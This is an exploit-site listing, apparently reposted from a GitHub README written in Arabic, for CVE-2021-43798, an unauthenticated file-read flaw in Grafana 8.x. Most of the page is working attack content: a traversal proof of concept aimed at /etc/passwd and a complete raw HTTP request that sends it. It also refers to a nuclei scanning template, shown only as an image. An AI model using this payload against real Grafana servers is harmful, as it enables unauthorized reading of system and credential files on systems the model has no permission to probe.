Sploitus

Exploit for CVE-2021-43798-Grafana-File-Read

kitploit · 2026-09-03

Exploit Code

MARKDOWN29 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BJLIYANLIANG-CVE-2021-43798-GRAFANA-FILE-READ
# Grafana-File-Read

## قراءة الملفات غير المصرح بها في Grafana

> الإصدارات المتأثرة: 8.0.0-الأحدث

![wecom-temp-e380dc0174f4d9f46e9e217a6e2c3ddb](https://assets.kitploit.com/production/public/readmes/51472/33d278d51870fec483e388137efd92776cb23aea6d31467e8bbadcdbcd81d410/e051e8f409b5c71ca63e9c8c34e3721964a3ee63fbeefed966a0d9f1c8cfd2f4-display-v1.webp)

poc: /public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd

root@kitploit:~
    
    
    GET /public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
    Host: 127.0.0.1:3000
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    

![image](https://assets.kitploit.com/production/public/readmes/51472/051fd0de567a4e33ba8beed8ec2558b100f3bd6a4224df0026226c30ea1a812a/2b63d055d829a4a4462be9a4cb404a59509f054dbead012988cd20b2d067d991-display-v1.webp)

poc الخاص بـ nuclei: grafana.yaml

![image](https://assets.kitploit.com/production/public/readmes/51472/1579490c8951127b90926241e9af3ae71f32096b94ea13c1ab5095391906c805/81305eb20507cafadc6189c1728531f9f841d18d9b8d1d5b91f8967d998bbfbc-display-v1.webp)